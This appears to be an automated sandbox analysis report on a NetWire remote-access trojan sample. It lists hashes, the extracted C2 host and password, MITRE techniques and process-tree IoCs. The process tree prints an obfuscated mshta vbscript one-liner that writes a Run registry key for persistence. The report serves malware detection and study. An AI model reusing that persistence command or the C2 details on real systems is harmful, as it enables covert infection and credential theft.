netwire | 5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468

General

Target

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
Size

344KB
MD5

458280bc7205d36eb55237c1f3be6296
SHA1

bf5fc2d5fcfc5c4a1d3c040447b7b3725126f717
SHA256

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468
SHA512

8b677b9105583c08898675b626a3573637b875968b04a7e5400f9a869c50cd6ab6ecb369c30dbf2706fefe1c4ab2a9e01cfd9a6a7b3fe6a070c22e0f89c5c9c1
SSDEEP

3072:QtIpYU2DAYVwTj0ovzU9MQ2r89lNZjMFM+DcyRMKqaPJvGPcl+fo:Q6pzAV0vz1QMCefDc5mwE

Score

10^/10

netwire botnet persistence rat stealer

Malware Config

Extracted

Family

netwire

C2

www.secdoc.info:1759

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
keylogger_dir
%AppData%\Logs\
lock_executable
false
offline_keylogger
true
password
manlike123
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1064-72-0x0000000000400000-0x0000000000457000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire
Executes dropped EXE 1 IoCs

Processes:

Uncrystallisability8.exe

pid process

1064 Uncrystallisability8.exe

pid	process
1064	Uncrystallisability8.exe

Loads dropped DLL 2 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe

pid	process
1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\Zakah = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Uncrystallisability8.exe"	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exeUncrystallisability8.exe

pid	process
1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
1064	Uncrystallisability8.exe
1064	Uncrystallisability8.exe

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exeUncrystallisability8.exe

pid	process
1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
1064	Uncrystallisability8.exe
1064	Uncrystallisability8.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exeUncrystallisability8.exe

pid process

1672 5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
1064 Uncrystallisability8.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe

description	pid	process	target process
PID 1672 wrote to memory of 2040	1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	mshta.exe
PID 1672 wrote to memory of 2040	1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	mshta.exe
PID 1672 wrote to memory of 2040	1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	mshta.exe
PID 1672 wrote to memory of 2040	1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	mshta.exe
PID 1672 wrote to memory of 1064	1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	Uncrystallisability8.exe
PID 1672 wrote to memory of 1064	1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	Uncrystallisability8.exe
PID 1672 wrote to memory of 1064	1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	Uncrystallisability8.exe
PID 1672 wrote to memory of 1064	1672	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	Uncrystallisability8.exe

C:\Users\Admin\AppData\Local\Temp\5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
"C:\Users\Admin\AppData\Local\Temp\5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe"
1⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Zakah"" : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe"",""REG_SZ"" : window.close")
  2⤵
  - Adds Run key to start application
  PID:2040
- C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe
  "C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:1064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe

Filesize
344KB

MD5
01902361d12834033e78bb91d0f3fb77

SHA1
9872791bebd9364bdc6385a0499f0af26ad82f61

SHA256
482fdea65033a89a6de1a5aedf89ad1463995196282dcdf0be1ccdeb7ab7dfc9

SHA512
e76cde02281a67e8b4635ce81ac08606f9597bedd9efbc5dd25a2e0dfb0007394383d8b1df687d7b050c34333ee7853f3d0f13bcc568e9222eb914d3b272ea6f

Download Submit
\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe

Filesize
344KB

MD5
01902361d12834033e78bb91d0f3fb77

SHA1
9872791bebd9364bdc6385a0499f0af26ad82f61

SHA256
482fdea65033a89a6de1a5aedf89ad1463995196282dcdf0be1ccdeb7ab7dfc9

SHA512
e76cde02281a67e8b4635ce81ac08606f9597bedd9efbc5dd25a2e0dfb0007394383d8b1df687d7b050c34333ee7853f3d0f13bcc568e9222eb914d3b272ea6f

Download Submit
\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe

Filesize
344KB

MD5
01902361d12834033e78bb91d0f3fb77

SHA1
9872791bebd9364bdc6385a0499f0af26ad82f61

SHA256
482fdea65033a89a6de1a5aedf89ad1463995196282dcdf0be1ccdeb7ab7dfc9

SHA512
e76cde02281a67e8b4635ce81ac08606f9597bedd9efbc5dd25a2e0dfb0007394383d8b1df687d7b050c34333ee7853f3d0f13bcc568e9222eb914d3b272ea6f

Download Submit
memory/1064-69-0x0000000002760000-0x0000000002860000-memory.dmp

Filesize
1024KB

Download
memory/1064-60-0x0000000000000000-mapping.dmp

Download
memory/1064-70-0x0000000077180000-0x0000000077329000-memory.dmp

Filesize
1.7MB

Download
memory/1064-71-0x0000000077360000-0x00000000774E0000-memory.dmp

Filesize
1.5MB

Download
memory/1064-72-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/1064-73-0x0000000002760000-0x0000000002860000-memory.dmp

Filesize
1024KB

Download
memory/1672-62-0x0000000077180000-0x0000000077329000-memory.dmp

Filesize
1.7MB

Download
memory/1672-63-0x0000000077360000-0x00000000774E0000-memory.dmp

Filesize
1.5MB

Download
memory/1672-65-0x0000000077360000-0x00000000774E0000-memory.dmp

Filesize
1.5MB

Download
memory/1672-56-0x00000000753C1000-0x00000000753C3000-memory.dmp

Filesize
8KB

Download
memory/2040-57-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads